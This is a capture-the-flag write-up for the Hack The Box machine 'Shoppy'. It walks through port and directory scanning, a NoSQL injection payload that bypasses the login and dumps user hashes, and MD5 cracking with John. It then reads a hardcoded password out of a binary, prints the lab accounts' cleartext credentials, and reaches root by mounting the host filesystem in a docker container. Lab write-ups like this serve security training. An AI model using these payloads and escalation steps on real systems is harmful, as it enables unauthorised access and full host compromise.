Shoppy
Nmap
Like always let's start with Nmap!
┌──(kali㉿kali)-[~/Documents/HTB]
└─$ sudo nmap --min-rate 1000 -p- 10.10.11.180
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-30 13:20 CET
Nmap scan report for 10.10.11.180
Host is up (0.084s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9093/tcp open copycat
Nmap done: 1 IP address (1 host up) scanned in 60.54 seconds
┌──(kali㉿kali)-[~/Documents/HTB]
└─$ sudo nmap -sC -sV -p 22,80,9093 10.10.11.180
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-30 13:23 CET
Nmap scan report for 10.10.11.180
Host is up (0.062s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 9e5e8351d99f89ea471a12eb81f922c0 (RSA)
| 256 5857eeeb0650037c8463d7a3415b1ad5 (ECDSA)
|_ 256 3e9d0a4290443860b3b62ce9bd9a6754 (ED25519)
80/tcp open http nginx 1.23.1
|_http-server-header: nginx/1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
9093/tcp open copycat?
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest, HTTPOptions:
| HTTP/1.0 200 OK
| Content-Type: text/plain; version=0.0.4; charset=utf-8
| Date: Wed, 30 Nov 2022 12:22:26 GMT
| HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
| TYPE go_gc_cycles_automatic_gc_cycles_total counter
| go_gc_cycles_automatic_gc_cycles_total 546
| HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
| TYPE go_gc_cycles_forced_gc_cycles_total counter
| go_gc_cycles_forced_gc_cycles_total 0
| HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
| TYPE go_gc_cycles_total_gc_cycles_total counter
| go_gc_cycles_total_gc_cycles_total 546
| HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
| TYPE go_gc_duration_seconds summary
| go_gc_duration_seconds{quantile="0"} 4.4953e-05
| go_gc_duration_seconds{quantile="0.25"} 9.7211e-05
|_ go_gc
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 102.74 seconds
I will focus in both the port 80 and that weird thing in port 9093.
Port 80
First exploit
┌──(kali㉿kali)-[~/Documents/HTB]
└─$ gobuster dir -u http://shoppy.htb/ -w ~/Wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://shoppy.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /home/kali/Wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Timeout: 10s
===============================================================
2022/11/30 13:32:39 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 179] [--> /images/]
/login (Status: 200) [Size: 1074]
/admin (Status: 302) [Size: 28] [--> /login]
/assets (Status: 301) [Size: 179] [--> /assets/]
/css (Status: 301) [Size: 173] [--> /css/]
/Login (Status: 200) [Size: 1074]
/js (Status: 301) [Size: 171] [--> /js/]
/fonts (Status: 301) [Size: 177] [--> /fonts/]
/Admin (Status: 302) [Size: 28] [--> /login]
/exports (Status: 301) [Size: 181] [--> /exports/]
/LogIn (Status: 200) [Size: 1074]
===============================================================
2022/11/30 13:45:08 Finished
===============================================================
The login page is weird, injecting a '
character the page just hangs. Trying SQL payloads I just got timeouts, maybe we can inject something else? I crafted something like this:
Hola' + '123' + 'Hola
And the page was able to return... The port 9093 looks like a dump of something related to Go so lets try to inject Go code instead of SQL:
Hola' || 1==1 || 'Hola
Using that payload I was able to bypass the login page and get access to the admin dashboard! In there, there is an option to search for users. I tried to, once again, inject the same payload I used before in the login page hoping to get all the users of the database and looks like we are lucky here:
[
{
"_id":"62db0e93d6d6a999a66ee67a",
"username":"admin",
"password":"23c6877d9e2b564ef8b32c3a23de27b2"
},
{
"_id":"62db0e93d6d6a999a66ee67b",
"username":"josh",
"password":"6ebcea65320589ca4f2f1ce039975995"
}
]
I was able to crack the password for the josh
user using the Rockyou dictionary:
┌──(kali㉿kali)-[~/Documents/HTB/Shoppy]
└─$ john --format=raw-md5 --wordlist=~/Wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
remembermethisway (josh)
1g 0:00:00:01 DONE (2022-11-30 14:50) 0.6172g/s 8853Kp/s 8853Kc/s 9355KC/s fuckyooh21..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
I tried the credentials josh:remembermethisway
for SSH but no luck.
Finally user!
After some hours I was really lost whith this box but I found something using wfuzz
instead of gobuster
for enumerating virtual hosts:
┌──(kali㉿kali)-[~/Documents/HTB/Shoppy]
└─$ wfuzz -H "Host: FUZZ.shoppy.htb" --hc 404,403,301 -H "User-Agent: PENTEST" -c -w /home/kali/Wordlists/SecLists/Discovery/DNS/namelist.txt http://shoppy.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://shoppy.htb/
Total requests: 151265
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000082865: 200 0 L 141 W 3122 Ch "mattermost"
For some reason, gobuster
was not able to find the Mattermost subdomain... Anyway, I was able to login using the found credentials and got the user and password for the SSH service in one of the chats: jaeger:Sh0ppyBest@pp!
. Fun fact, the application is using a Mongo database and that is why the SQL payloads failed. Why I though about Go code instead of trying NoSQL? Well let's say that the port 9093 baited me...
Privesc to deploy
Another thing I found in the Mattermost app was a chat speaking about a password manager. I was able to find it under /home/deploy
, looks like the code and a file with credentials are also in there but Im only allowed to read the binary so I downloaded it to my machine.
According to sudo -l
we can execute this binary as deploy
:
jaeger@shoppy:/home/deploy$ sudo -l
[sudo] password for jaeger:
Matching Defaults entries for jaeger on shoppy:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jaeger may run the following commands on shoppy:
(deploy) /home/deploy/password-manager
The binary asks for a master password when executed. According to the strings in the binary, it will read the credentials file from /home/deploy
after introducing the correct password. The password is probably stored somewhere in the binary so time to reverse it. Using IDA was easy to find the password harcoded in the code, it was Sample
.
Using this information, we can just get the password for the deploy
user:
jaeger@shoppy:/home/deploy$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!
Pwned!
The privilege escalation for root
is pretty easy, the user deploy
is part of the docker
group so we can manage containers. Since the Alpine image is already in the machine the attack vector is straigh forward.
deploy@shoppy:~$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)
deploy@shoppy:~$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
alpine latest d7d3d98c851f 4 months ago 5.53MB
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
We only need to create a container that will have all the host filesystem mounted in the /mnt
directory and will execute the chroot
command to change the container filesystem root to the /mnt
directory. Since we are root inside de container, we are now effectively root in the host machine.
deploy@shoppy:~$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)